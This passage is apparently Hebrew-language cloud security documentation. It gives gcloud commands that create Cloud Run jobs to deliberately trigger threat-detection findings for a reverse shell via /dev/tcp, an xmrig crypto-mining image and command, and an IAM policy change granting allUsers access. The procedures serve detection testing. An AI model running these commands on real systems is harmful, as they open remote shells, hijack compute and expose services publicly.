--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא של Reverse Shell.
ביצוע: קובץ אימג' של Docker לכריית מטבע וירטואלי
כדי להפעיל הרצה: ממצא של קובץ אימג' של Docker לכריית מטבע וירטואלי, צריך לפרוס קונטיינר באמצעות שם של קובץ אימג' של Docker שמשויך לתוכנה לכריית מטבע וירטואלי.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא של הרצה: קובץ אימג' של Docker לכריית מטבע וירטואלי. שימו לב: פריסת העבודה תיכשל כי התמונה לא קיימת, אבל הממצא עדיין ייווצר.
השפעה: פקודות לכריית מטבע וירטואלי
כדי להפעיל ממצא Impact: Cryptomining Commands, מריצים פקודה עם ארגומנטים שדומים לתוכנות ידועות לכריית מטבעות קריפטוגרפיים.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Impact: Cryptomining Commands.
העלאת רמת הרשאה: חשבון השירות שמוגדר כברירת המחדל של Compute Engine SetIAMPolicy
כדי להפעיל ממצא של Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, מריצים פקודה שמשתמשת בחשבון השירות שמוגדר כברירת מחדל ב-Compute Engine כדי להגדיר את מדיניות ה-IAM של שירות Cloud Run.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy
ממצא.